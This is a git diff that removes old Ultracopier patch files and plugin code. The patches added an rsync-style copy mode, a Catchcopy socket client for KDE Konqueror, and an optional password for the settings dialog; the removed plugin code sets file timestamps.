- <widget class="QCheckBox" name="osBuffer"/>
- </item>
-- <item row="9" column="0" colspan="2">
-+ <item row="10" column="0" colspan="2">
- <widget class="QCheckBox" name="osBufferLimited">
- <property name="text">
- <string>OS buffer only if smaller than</string>
- </property>
- </widget>
- </item>
-- <item row="9" column="2">
-+ <item row="10" column="2">
- <widget class="QSpinBox" name="osBufferLimit">
- <property name="suffix">
- <string>KB</string>
-@@ -215,7 +215,7 @@
- </property>
- </widget>
- </item>
-- <item row="12" column="1">
-+ <item row="13" column="1">
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
-@@ -228,20 +228,34 @@
- </property>
- </spacer>
- </item>
-- <item row="11" column="1">
-+ <item row="12" column="1">
- <widget class="QPushButton" name="filters">
- <property name="text">
- <string>Filters</string>
- </property>
- </widget>
- </item>
-- <item row="10" column="1">
-+ <item row="11" column="1">
- <widget class="QPushButton" name="renamingRules">
- <property name="text">
- <string>Renaming rules</string>
- </property>
- </widget>
- </item>
-+ <item row="7" column="2">
-+ <widget class="QCheckBox" name="rsync">
-+ <property name="text">
-+ <string/>
-+ </property>
-+ </widget>
-+ </item>
-+ <item row="7" column="0" colspan="2">
-+ <widget class="QLabel" name="label_rsync">
-+ <property name="text">
-+ <string>Rsync (only in copy mode)</string>
-+ </property>
-+ </widget>
-+ </item>
- </layout>
- </widget>
- <resources/>
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/scanFileOrFolder.cpp Rsync/scanFileOrFolder.cpp
---- Ultracopier-0.3/scanFileOrFolder.cpp 2012-05-23 11:06:25.001037392 +0200
-+++ Rsync/scanFileOrFolder.cpp 2012-06-29 21:54:15.555761695 +0200
-@@ -1,9 +1,10 @@
- #include "scanFileOrFolder.h"
-
--#include <QMessageBox>
-+#include <QDateTime>
-
- scanFileOrFolder::scanFileOrFolder(CopyMode mode)
- {
-+ rsync=false;
- stopped = true;
- stopIt = false;
- this->mode=mode;
-@@ -427,7 +428,17 @@
- if(!included)
- {}
- else
-- emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileName,mode);
-+ {
-+ bool sendToTransfer=false;
-+ if(!rsync)
-+ sendToTransfer=true;
-+ else if(!QFile::exists(finalDest+fileName))
-+ sendToTransfer=true;
-+ else if(fileInfo.lastModified()!=QFileInfo(finalDest+fileName).lastModified())
-+ sendToTransfer=true;
-+ if(sendToTransfer)
-+ emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileName,mode);
-+ }
- }
- }
- }
-@@ -437,9 +448,43 @@
- //listFolder(source,destination,suffixPath+fileInfo.fileName()+QDir::separator());
- listFolder(source,destination,sourceSuffixPath+fileInfo.fileName()+"/",destinationSuffixPath+fileInfo.fileName()+"/");//put unix separator because it's transformed into that's under windows too
- else
-- emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileInfo.fileName(),mode);
-+ {
-+ bool sendToTransfer=false;
-+ if(!rsync)
-+ sendToTransfer=true;
-+ else if(!QFile::exists(finalDest+fileInfo.fileName()))
-+ sendToTransfer=true;
-+ else if(fileInfo.lastModified()!=QFileInfo(finalDest+fileInfo.fileName()).lastModified())
-+ sendToTransfer=true;
-+ if(sendToTransfer)
-+ emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileInfo.fileName(),mode);
-+ }
- }
- }
-+ if(rsync)
-+ {
-+ //check the reverse path here
-+ QFileInfoList entryListDestination=QDir(finalDest).entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst|QDir::Name|QDir::IgnoreCase);//possible wait time here
-+ int sizeEntryListDestination=entryListDestination.size();
-+ int index=0;
-+ for (int indexDestination=0;indexDestination<sizeEntryListDestination;++indexDestination)
-+ {
-+ index=0;
-+ while(index<sizeEntryList)
-+ {
-+ if(entryListDestination.at(indexDestination).fileName()==entryList.at(index).fileName())
-+ break;
-+ index++;
-+ }
-+ if(index==sizeEntryList)
-+ {
-+ //then not found, need be remove
-+ emit addToRmForRsync(finalDest+entryListDestination.at(indexDestination).fileName());
-+ }
-+ }
-+ return;
-+ }
-+
- if(mode==Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"newSource: "+newSource+", sizeEntryList: "+QString::number(sizeEntryList));
-@@ -458,3 +503,9 @@
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- }
-+
-+/// \brief set rsync
-+void scanFileOrFolder::setRsync(const bool rsync)
-+{
-+ this->rsync=rsync;
-+}
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/scanFileOrFolder.h Rsync/scanFileOrFolder.h
---- Ultracopier-0.3/scanFileOrFolder.h 2012-05-20 20:32:43.695874620 +0200
-+++ Rsync/scanFileOrFolder.h 2012-06-29 21:51:45.235764294 +0200
-@@ -38,6 +38,8 @@
- /// \brief set if need check if the destination exists
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-+ /// \brief set rsync
-+ void setRsync(const bool rsync);
- signals:
- void fileTransfer(const QFileInfo &source,const QFileInfo &destination,const CopyMode &mode);
- /// \brief To debug source
-@@ -49,6 +51,7 @@
- void newFolderListing(const QString &path);
- void addToMkPath(const QString& folder);
- void addToRmPath(const QString& folder,const int& inodeToRemove);
-+ void addToRmForRsync(const QString& inode);
- public slots:
- void addToList(const QStringList& sources,const QString& destination);
- void setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude);
-@@ -69,6 +72,7 @@
- QString prefix;
- QString suffix;
- CopyMode mode;
-+ bool rsync;
- QList<Filters_rules> include,exclude;
- QList<Filters_rules> include_send,exclude_send;
- bool reloadTheNewFilters;
diff --git a/patch/opensource/KDE-Ultracopier.patch b/patch/opensource/KDE-Ultracopier.patch
deleted file mode 100644
index 4130c08..0000000
--- a/patch/opensource/KDE-Ultracopier.patch
+++ /dev/null
@@ -1,290 +0,0 @@
-diff -U 3 -H -d -r -N -- kde-baseapps-4.8.4/lib/konq/CMakeLists.txt kde-baseapps-4.8.4-ultracopier/lib/konq/CMakeLists.txt
---- kde-baseapps-4.8.4/lib/konq/CMakeLists.txt 2011-09-26 11:43:17.390868969 +0200
-+++ kde-baseapps-4.8.4-ultracopier/lib/konq/CMakeLists.txt 2012-06-27 09:54:15.909492978 +0200
-@@ -9,6 +9,7 @@
- include_directories( ${ZLIB_INCLUDE_DIR} )
-
- set(konq_LIB_SRCS
-+ ClientCatchcopy.cpp
- konq_popupmenu.cpp # used by konqueror, kfind, folderview, kickoff
- konq_popupmenuplugin.cpp # for KonqPopupMenu and its plugins
- konq_dndpopupmenuplugin.cpp # for KonqDndPopupMenu and its plugins
-@@ -53,6 +54,7 @@
-
- install( FILES directory_bookmarkbar.desktop DESTINATION ${DATA_INSTALL_DIR}/kbookmark )
- install( FILES
-+ ClientCatchcopy.h
- konq_popupmenu.h
- konq_popupmenuinformation.h
- konq_popupmenuplugin.h
-diff -U 3 -H -d -r -N -- kde-baseapps-4.8.4/lib/konq/ClientCatchcopy.cpp kde-baseapps-4.8.4-ultracopier/lib/konq/ClientCatchcopy.cpp
---- kde-baseapps-4.8.4/lib/konq/ClientCatchcopy.cpp 1970-01-01 01:00:00.000000000 +0100
-+++ kde-baseapps-4.8.4-ultracopier/lib/konq/ClientCatchcopy.cpp 2012-06-27 10:28:25.049457581 +0200
-@@ -0,0 +1,142 @@
-+/** \file ClientCatchcopy.cpp
-+\brief Define the catchcopy client
-+\author alpha_one_x86
-+\version 0002
-+\date 2010 */
-+
-+#include "ClientCatchcopy.h"
-+
-+ClientCatchcopy::ClientCatchcopy()
-+{
-+ disconnectedFromSocket();
-+ connect(&socket, SIGNAL(disconnected()), this, SLOT(disconnectedFromSocket()));
-+ connect(&socket, SIGNAL(readyRead()), this, SLOT(readyRead()));
-+ connect(&socket, SIGNAL(connected()), this, SLOT(socketIsConnected()));
-+}
-+
-+void ClientCatchcopy::socketIsConnected()
-+{
-+ sendProtocol();
-+}
-+
-+void ClientCatchcopy::connectToServer()
-+{
-+ socket.connectToServer(pathSocket());
-+ socket.waitForConnected();
-+}
-+
-+const QString ClientCatchcopy::pathSocket()
-+{
-+#ifdef Q_OS_UNIX
-+ return "advanced-copier-"+QString::number(getuid());
-+#else
-+ QString userName;
-+ DWORD size=0;
-+ if(GetUserNameW(NULL,&size) || (GetLastError()!=ERROR_INSUFFICIENT_BUFFER))
-+ {
-+ }
-+ else
-+ {
-+ WCHAR * userNameW=new WCHAR[size];
-+ if(GetUserNameW(userNameW,&size))
-+ {
-+ userName.fromWCharArray(userNameW,size*2);
-+ userName=QString(QByteArray((char*)userNameW,size*2-2).toHex());
-+ }
-+ delete userNameW;
-+ }
-+ return "advanced-copier-"+userName;
-+#endif
-+}
-+
-+void ClientCatchcopy::disconnectFromServer()
-+{
-+ socket.abort();
-+ socket.disconnectFromServer();
-+}
-+
-+/// \brief to send stream of string list
-+quint32 ClientCatchcopy::sendRawOrderList(const QStringList & order)
-+{
-+ if(!socket.isValid())
-+ return -1;
-+ if(socket.state()!=QLocalSocket::ConnectedState)
-+ return -1;
-+ idNextOrder++;
-+ if(idNextOrder>2000000000)
-+ idNextOrder=0;
-+ QByteArray block;
-+ QDataStream out(&block, QIODevice::WriteOnly);
-+ out.setVersion(QDataStream::Qt_4_4);
-+ out << int(0);
-+ out << idNextOrder;
-+ out << order;
-+ out.device()->seek(0);
-+ out << block.size();
-+ do //cut string list and send it as block of 32KB
-+ {
-+ QByteArray blockToSend;
-+ int byteWriten;
-+ blockToSend=block.left(32*1024);//32KB
-+ block.remove(0,blockToSend.size());
-+ byteWriten = socket.write(blockToSend);
-+ if(!socket.isValid())
-+ return -1;
-+ if(socket.errorString()!="Unknown error" && socket.errorString()!="")
-+ return -1;
-+ if(blockToSend.size()!=byteWriten)
-+ return -1;
-+ }
-+ while(block.size());
-+ return idNextOrder;
-+}
-+
-+void ClientCatchcopy::readyRead()
-+{
-+ while(socket.bytesAvailable()>0)
-+ {
-+ socket.readAll();
-+ }
-+}
-+
-+void ClientCatchcopy::disconnectedFromSocket()
-+{
-+ idNextOrder = 0;
-+}
-+
-+/// \brief to send the protocol version used
-+void ClientCatchcopy::sendProtocol()
-+{
-+ sendRawOrderList(QStringList() << "protocol" << "0002");
-+}
-+
-+void ClientCatchcopy::setClientName(const QString & name)
-+{
-+ sendRawOrderList(QStringList() << "client" << name);
-+}
-+
-+bool ClientCatchcopy::addCopyWithDestination(const QStringList & sources,const QString & destination)
-+{
-+ if(socket.state()==QLocalSocket::UnconnectedState)
-+ connectToServer();
-+ if(socket.state()==QLocalSocket::ConnectedState)
-+ {
-+ sendRawOrderList(QStringList() << "cp" << sources << destination);
-+ return true;
-+ }
-+ else
-+ return false;
-+}
-+
-+bool ClientCatchcopy::addMoveWithDestination(const QStringList & sources,const QString & destination)
-+{
-+ if(socket.state()==QLocalSocket::UnconnectedState)
-+ connectToServer();
-+ if(socket.state()==QLocalSocket::ConnectedState)
-+ {
-+ sendRawOrderList(QStringList() << "mv" << sources << destination);
-+ return true;
-+ }
-+ else
-+ return false;
-+}
-diff -U 3 -H -d -r -N -- kde-baseapps-4.8.4/lib/konq/ClientCatchcopy.h kde-baseapps-4.8.4-ultracopier/lib/konq/ClientCatchcopy.h
---- kde-baseapps-4.8.4/lib/konq/ClientCatchcopy.h 1970-01-01 01:00:00.000000000 +0100
-+++ kde-baseapps-4.8.4-ultracopier/lib/konq/ClientCatchcopy.h 2012-06-27 10:28:52.169457112 +0200
-@@ -0,0 +1,58 @@
-+/** \file ClientCatchcopy.h
-+\brief Define the catchcopy client
-+\author alpha_one_x86
-+\version 0002
-+\date 2010 */
-+
-+#ifndef CLIENTCATCHCOPY_H
-+#define CLIENTCATCHCOPY_H
-+
-+#include <QObject>
-+#include <QLocalSocket>
-+#include <QStringList>
-+#include <QString>
-+#include <QByteArray>
-+
-+#ifdef Q_OS_UNIX
-+ #include <unistd.h>
-+ #include <sys/types.h>
-+#else
-+ #include <windows.h>
-+#endif
-+
-+/// \brief Define the catchcopy client
-+class ClientCatchcopy : public QObject
-+{
-+ Q_OBJECT
-+ public:
-+ ClientCatchcopy();
-+ public slots:
-+ void connectToServer();
-+ void disconnectFromServer();
-+ //to test and internal use
-+ /// \brief set the client name
-+ void setClientName(const QString & name);
-+ /// \brief add copy with destination
-+ bool addCopyWithDestination(const QStringList & sources,const QString & destination);
-+ /// \brief add move with destination
-+ bool addMoveWithDestination(const QStringList & sources,const QString & destination);
-+ private:
-+ /// \brief to send order
-+ void sendProtocol();
-+
-+ const QString pathSocket();
-+ quint32 idNextOrder;
-+ //the local socket
-+ QLocalSocket socket;
-+
-+ /// \brief to send stream of string list
-+ quint32 sendRawOrderList(const QStringList & order);
-+ private slots:
-+ void readyRead();
-+ void disconnectedFromSocket();
-+ void socketIsConnected();
-+ protected:
-+ bool parseReply(quint32 orderId,quint32 returnCode,QStringList returnList);
-+};
-+
-+#endif // CLIENTCATCHCOPY_H
-diff -U 3 -H -d -r -N -- kde-baseapps-4.8.4/lib/konq/konq_operations.cpp kde-baseapps-4.8.4-ultracopier/lib/konq/konq_operations.cpp
---- kde-baseapps-4.8.4/lib/konq/konq_operations.cpp 2011-09-26 11:43:17.392868951 +0200
-+++ kde-baseapps-4.8.4-ultracopier/lib/konq/konq_operations.cpp 2012-06-27 10:29:32.879456409 +0200
-@@ -154,6 +154,8 @@
- }
- }
-
-+ClientCatchcopy KonqOperations::clientCatchcopy;
-+
- void KonqOperations::copy( QWidget * parent, Operation method, const KUrl::List & selectedUrls, const KUrl& destUrl )
- {
- kDebug(1203) << parent->metaObject()->className() << selectedUrls << destUrl;
-@@ -175,7 +177,30 @@
- else if (method == MOVE)
- job = KIO::move( selectedUrls, destUrl );
- else
-+ {
-+ QStringList selectedFiles;
-+ bool isLocal=true;
-+ int index=0;
-+ while(index<selectedUrls.size())
-+ {
-+ if(!selectedUrls.at(index).isLocalFile())
-+ {
-+ isLocal=false;
-+ break;
-+ }
-+ selectedFiles << selectedUrls.at(index).toLocalFile();
-+ index++;
-+ }
-+ isLocal&=destUrl.isLocalFile();
-+ if(isLocal)
-+ {
-+ if(clientCatchcopy.addCopyWithDestination(selectedFiles,destUrl.toLocalFile()))
-+ return;
-+ }
-+ else
- job = KIO::copy( selectedUrls, destUrl );
-+
-+ }
-
- op->setOperation( job, method, destUrl );
-
-diff -U 3 -H -d -r -N -- kde-baseapps-4.8.4/lib/konq/konq_operations.h kde-baseapps-4.8.4-ultracopier/lib/konq/konq_operations.h
---- kde-baseapps-4.8.4/lib/konq/konq_operations.h 2011-07-27 20:36:39.112044764 +0200
-+++ kde-baseapps-4.8.4-ultracopier/lib/konq/konq_operations.h 2012-06-27 09:31:29.109516591 +0200
-@@ -23,6 +23,8 @@
- #ifndef __konq_operations_h__
- #define __konq_operations_h__
-
-+#include "ClientCatchcopy.h"
-+
- #include <kurl.h>
- #include <libkonq_export.h>
-
-@@ -221,6 +223,7 @@
-
- private:
- QWidget* parentWidget() const;
-+ static ClientCatchcopy clientCatchcopy;
- void _del( Operation method, const KUrl::List & selectedUrls, ConfirmationType confirmation );
- void _restoreTrashedItems( const KUrl::List& urls );
- void _statUrl( const KUrl & url, const QObject *receiver, const char *member );
diff --git a/patch/opensource/options-with-pass.patch b/patch/opensource/options-with-pass.patch
deleted file mode 100644
index c53cefd..0000000
--- a/patch/opensource/options-with-pass.patch
+++ /dev/null
@@ -1,336 +0,0 @@
-diff -U 3 -H -d -r -N -- sources/EventDispatcher.cpp sources-with-pass/EventDispatcher.cpp
---- sources/EventDispatcher.cpp 2012-02-20 11:16:29.402151959 +0100
-+++ sources-with-pass/EventDispatcher.cpp 2012-02-21 19:16:06.540690161 +0100
-@@ -52,6 +52,8 @@
- KeysList.append(qMakePair(QString("Last_version_used"),QVariant("na")));
- KeysList.append(qMakePair(QString("ActionOnManualOpen"),QVariant(1)));
- KeysList.append(qMakePair(QString("GroupWindowWhen"),QVariant(0)));
-+ KeysList.append(qMakePair(QString("checkBoxPass"),QVariant(true)));
-+ KeysList.append(qMakePair(QString("Password"),QVariant("admin")));
- options->addOptionGroup("Ultracopier",KeysList);
- if(options->getOptionValue("Ultracopier","Last_version_used")!=QVariant("na") && options->getOptionValue("Ultracopier","Last_version_used")!=QVariant(ULTRACOPIER_VERSION))
- {
-diff -U 3 -H -d -r -N -- sources/OptionDialog.cpp sources-with-pass/OptionDialog.cpp
---- sources/OptionDialog.cpp 2012-02-21 19:22:24.990694347 +0100
-+++ sources-with-pass/OptionDialog.cpp 2012-02-21 19:24:59.290696056 +0100
-@@ -222,6 +222,8 @@
- newOptionValue("Themes", "Ultracopier_current_theme", options->getOptionValue("Themes","Ultracopier_current_theme"));
- newOptionValue("Ultracopier", "ActionOnManualOpen", options->getOptionValue("Ultracopier","ActionOnManualOpen"));
- newOptionValue("Ultracopier", "GroupWindowWhen", options->getOptionValue("Ultracopier","GroupWindowWhen"));
-+ newOptionValue("Ultracopier", "checkBoxPass", options->getOptionValue("Ultracopier","checkBoxPass"));
-+ newOptionValue("Ultracopier", "Password", options->getOptionValue("Ultracopier","Password"));
- newOptionValue("Language", "Language", options->getOptionValue("Language","Language"));
- newOptionValue("Language", "Language_autodetect", options->getOptionValue("Language","Language_autodetect"));
- newOptionValue("SessionLoader", "LoadAtSessionStarting", options->getOptionValue("SessionLoader","LoadAtSessionStarting"));
-@@ -361,6 +363,14 @@
- {
- ui->GroupWindowWhen->setCurrentIndex(value.toInt());
- }
-+ if(name=="checkBoxPass")
-+ {
-+ ui->checkBoxPass->setChecked(value.toBool());
-+ }
-+ if(name=="Password")
-+ {
-+ ui->Password->setText(value.toString());
-+ }
- }
- }
-
-@@ -706,3 +716,21 @@
- options->setOptionValue("Ultracopier","ActionOnManualOpen",index);
- }
- }
-+
-+void OptionDialog::on_checkBoxPass_toggled(bool checked)
-+{
-+ if(index!=-1 && plugins->allPluginHaveBeenLoaded())
-+ {
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
-+ options->setOptionValue("Ultracopier","checkBoxPass",checked);
-+ }
-+}
-+
-+void OptionDialog::on_Password_editingFinished()
-+{
-+ if(index!=-1 && plugins->allPluginHaveBeenLoaded())
-+ {
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
-+ options->setOptionValue("Ultracopier","Password",ui->Password->text());
-+ }
-+}
-diff -U 3 -H -d -r -N -- sources/OptionDialog.h sources-with-pass/OptionDialog.h
---- sources/OptionDialog.h 2012-02-21 19:22:33.220694431 +0100
-+++ sources-with-pass/OptionDialog.h 2012-02-21 19:25:05.490696125 +0100
-@@ -57,7 +57,8 @@
- void on_checkBoxLog_folder_clicked();
- void on_checkBoxLog_sync_clicked();
- void on_ActionOnManualOpen_currentIndexChanged(int index);
--
-+ void on_checkBoxPass_toggled(bool checked);
-+ void on_Password_editingFinished();
- private:
- Ui::OptionDialog *ui;
- struct pluginStore
-diff -U 3 -H -d -r -N -- sources/OptionDialog.ui sources-with-pass/OptionDialog.ui
---- sources/OptionDialog.ui 2012-02-10 19:52:43.711122987 +0100
-+++ sources-with-pass/OptionDialog.ui 2012-02-21 19:16:55.130690698 +0100
-@@ -6,7 +6,7 @@
- <rect>
- <x>0</x>
- <y>0</y>
-- <width>638</width>
-+ <width>717</width>
- <height>455</height>
- </rect>
- </property>
-@@ -80,6 +80,9 @@
- <layout class="QVBoxLayout" name="verticalLayout_10">
- <item>
- <layout class="QFormLayout" name="formLayout_2">
-+ <property name="fieldGrowthPolicy">
-+ <enum>QFormLayout::ExpandingFieldsGrow</enum>
-+ </property>
- <item row="0" column="0">
- <widget class="QLabel" name="labelLanguage">
- <property name="text">
-@@ -158,6 +161,13 @@
- </item>
- </widget>
- </item>
-+ <item row="5" column="0">
-+ <widget class="QLabel" name="label_9">
-+ <property name="text">
-+ <string>Group window when:</string>
-+ </property>
-+ </widget>
-+ </item>
- <item row="5" column="1">
- <widget class="QComboBox" name="GroupWindowWhen">
- <item>
-@@ -192,10 +202,20 @@
- </item>
- </widget>
- </item>
-- <item row="5" column="0">
-- <widget class="QLabel" name="label_9">
-+ <item row="6" column="0">
-+ <widget class="QCheckBox" name="checkBoxPass">
- <property name="text">
-- <string>Group window when:</string>
-+ <string>Protect options with a pass:</string>
-+ </property>
-+ </widget>
-+ </item>
-+ <item row="6" column="1">
-+ <widget class="QLineEdit" name="Password">
-+ <property name="enabled">
-+ <bool>false</bool>
-+ </property>
-+ <property name="echoMode">
-+ <enum>QLineEdit::Password</enum>
- </property>
- </widget>
- </item>
-@@ -770,12 +790,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>313</x>
-- <y>13</y>
-+ <x>301</x>
-+ <y>5</y>
- </hint>
- <hint type="destinationlabel">
-- <x>533</x>
-- <y>44</y>
-+ <x>237</x>
-+ <y>9</y>
- </hint>
- </hints>
- </connection>
-@@ -786,12 +806,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>583</x>
-- <y>20</y>
-+ <x>301</x>
-+ <y>5</y>
- </hint>
- <hint type="destinationlabel">
-- <x>584</x>
-- <y>40</y>
-+ <x>300</x>
-+ <y>9</y>
- </hint>
- </hints>
- </connection>
-@@ -802,12 +822,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>345</x>
-- <y>21</y>
-+ <x>301</x>
-+ <y>5</y>
- </hint>
- <hint type="destinationlabel">
-- <x>582</x>
-- <y>105</y>
-+ <x>301</x>
-+ <y>14</y>
- </hint>
- </hints>
- </connection>
-@@ -818,12 +838,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>348</x>
-- <y>25</y>
-+ <x>301</x>
-+ <y>5</y>
- </hint>
- <hint type="destinationlabel">
-- <x>557</x>
-- <y>156</y>
-+ <x>301</x>
-+ <y>19</y>
- </hint>
- </hints>
- </connection>
-@@ -834,12 +854,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>537</x>
-- <y>105</y>
-+ <x>301</x>
-+ <y>14</y>
- </hint>
- <hint type="destinationlabel">
-- <x>533</x>
-- <y>131</y>
-+ <x>301</x>
-+ <y>16</y>
- </hint>
- </hints>
- </connection>
-@@ -850,12 +870,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>501</x>
-- <y>156</y>
-+ <x>301</x>
-+ <y>19</y>
- </hint>
- <hint type="destinationlabel">
-- <x>501</x>
-- <y>182</y>
-+ <x>301</x>
-+ <y>22</y>
- </hint>
- </hints>
- </connection>
-@@ -866,12 +886,12 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>269</x>
-- <y>15</y>
-+ <x>301</x>
-+ <y>5</y>
- </hint>
- <hint type="destinationlabel">
-- <x>456</x>
-- <y>207</y>
-+ <x>301</x>
-+ <y>25</y>
- </hint>
- </hints>
- </connection>
-@@ -882,12 +902,28 @@
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
-- <x>334</x>
-- <y>12</y>
-+ <x>301</x>
-+ <y>5</y>
- </hint>
- <hint type="destinationlabel">
-- <x>304</x>
-- <y>69</y>
-+ <x>301</x>
-+ <y>11</y>
-+ </hint>
-+ </hints>
-+ </connection>
-+ <connection>
-+ <sender>checkBoxPass</sender>
-+ <signal>toggled(bool)</signal>
-+ <receiver>Password</receiver>
-+ <slot>setEnabled(bool)</slot>
-+ <hints>
-+ <hint type="sourcelabel">
-+ <x>412</x>
-+ <y>169</y>
-+ </hint>
-+ <hint type="destinationlabel">
-+ <x>482</x>
-+ <y>172</y>
- </hint>
- </hints>
- </connection>
-diff -U 3 -H -d -r -N -- sources/SystrayIcon.cpp sources-with-pass/SystrayIcon.cpp
---- sources/SystrayIcon.cpp 2012-02-05 14:25:43.462930072 +0100
-+++ sources-with-pass/SystrayIcon.cpp 2012-02-21 19:35:36.630703097 +0100
-@@ -5,6 +5,7 @@
- \date 2010 */
-
- #include <QMessageBox>
-+#include <QInputDialog>
-
- #include "SystrayIcon.h"
-
-@@ -33,7 +34,7 @@
- //connect the action
- connect(actionMenuQuit, SIGNAL(triggered()), this, SIGNAL(quit()));
- connect(actionMenuAbout, SIGNAL(triggered()), this, SIGNAL(showHelp()));
-- connect(actionOptions, SIGNAL(triggered()), this, SIGNAL(showOptions()));
-+ connect(actionOptions, SIGNAL(triggered()), this, SLOT(askPassIfNeeded()));
- connect(sysTrayIcon, SIGNAL(activated(QSystemTrayIcon::ActivationReason)), this, SLOT(CatchAction(QSystemTrayIcon::ActivationReason)));
- connect(plugins, SIGNAL(pluginListingIsfinish()), this, SLOT(reloadEngineList()));
- //display the icon
-@@ -375,3 +376,17 @@
- }
- }
- }
-+
-+void SystrayIcon::askPassIfNeeded()
-+{
-+ if(!options->getOptionValue("Ultracopier","checkBoxPass").toBool())
-+ {
-+ emit showOptions();
-+ return;
-+ }
-+ QString pass=QInputDialog::getText(NULL,tr("Options password"),tr("Give the option for the password"),QLineEdit::Password);
-+ if(pass==options->getOptionValue("Ultracopier","Password").toString())
-+ emit showOptions();
-+ else
-+ QMessageBox::warning(NULL,tr("Error"),tr("Wrong password!"));
-+}
-diff -U 3 -H -d -r -N -- sources/SystrayIcon.h sources-with-pass/SystrayIcon.h
---- sources/SystrayIcon.h 2011-12-12 08:53:27.000000000 +0100
-+++ sources-with-pass/SystrayIcon.h 2012-02-21 19:27:11.780697518 +0100
-@@ -78,6 +78,8 @@
- /// \brief to retranslate the ui
- void retranslateTheUI();
- void reloadEngineList();
-+ /// \brief ask the pass if needed
-+ void askPassIfNeeded();
- signals:
- /// \brief Quit ultracopier
- void quit();
diff --git a/plugins-alternative/CopyEngine/Rsync/AvancedQFile.cpp b/plugins-alternative/CopyEngine/Rsync/AvancedQFile.cpp
deleted file mode 100644
index af5805b..0000000
--- a/plugins-alternative/CopyEngine/Rsync/AvancedQFile.cpp
+++ /dev/null
@@ -1,94 +0,0 @@
-/** \file AvancedQFile.cpp
-\brief Define the QFile herited class to set file date/time
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include "AvancedQFile.h"
-
-#ifdef Q_CC_GNU
-//this next header is needed to change file time/date under gcc
-#include <utime.h>
-#include <errno.h>
-#endif
-
-//source
-//hSrc=CreateFile(pData->pfiSrcFile->GetFullFilePath(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | (bNoBuffer ? FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH : 0), NULL);
-//destination
-//hDst=CreateFile(pData->strDstFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | (bNoBuffer ? FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH : 0), NULL);
-
-bool AvancedQFile::setCreated(QDateTime time)
-{
- time_t ctime=time.toTime_t();
- #ifdef Q_CC_GNU
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return true;
- #else
- setErrorString(tr("Not supported on this platform"));
- return false;
- #endif
-}
-
-bool AvancedQFile::setLastModified(QDateTime time)
-{
- time_t actime=QFileInfo(*this).lastRead().toTime_t();
- //protect to wrong actime
- if(actime<0)
- actime=0;
- time_t modtime=time.toTime_t();
- if(modtime<0)
- {
- setErrorString(tr("Last modified date is wrong"));
- return false;
- }
- #ifdef Q_CC_GNU
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- int returnVal=utime(this->fileName().toLocal8Bit().data(),&butime);
- if(returnVal==0)
- return true;
- else
- {
- setErrorString(strerror(errno));
- return false;
- }
- #else
- setErrorString(tr("Not supported on this platform"));
- return false;
- #endif
-}
-
-bool AvancedQFile::setLastRead(QDateTime time)
-{
- time_t modtime=QFileInfo(*this).lastModified().toTime_t();
- //protect to wrong actime
- if(modtime<0)
- modtime=0;
- time_t actime=time.toTime_t();
- if(actime<0)
- {
- setErrorString(tr("Last access date is wrong"));
- return false;
- }
- #ifdef Q_CC_GNU
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- int returnVal=utime(this->fileName().toLocal8Bit().data(),&butime);
- if(returnVal==0)
- return true;
- else
- {
- setErrorString(strerror(errno));
- return false;
- }
- #else
- setErrorString(tr("Not supported on this platform"));
- return false;
- #endif
-}
-
diff --git a/plugins-alternative/CopyEngine/Rsync/AvancedQFile.h b/plugins-alternative/CopyEngine/Rsync/AvancedQFile.h
deleted file mode 100644
index 284cf02..0000000
--- a/plugins-alternative/CopyEngine/Rsync/AvancedQFile.h
+++ /dev/null
@@ -1,32 +0,0 @@
-/** \file AvancedQFile.h
-\brief Define the QFile herited class to set file date/time
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef AVANCEDQFILE_H
-#define AVANCEDQFILE_H
-
-#include <QFile>
-#include <QDateTime>
-#include <QFileInfo>
-
-/// \brief devired class from QFile to set time/date on file
-class AvancedQFile : public QFile
-{
- Q_OBJECT
-public:
- /// \brief set created date, not exists in unix world
- bool setCreated(QDateTime time);
- /// \brief set last modification date
- bool setLastModified(QDateTime time);
- /// \brief set last read date
- bool setLastRead(QDateTime time);
-
-/* //fileName
- void close();
- bool open ( FILE * fh, OpenMode mode )
- bool open ( int fd, OpenMode mode )*/
-};
-
-#endif // AVANCEDQFILE_H
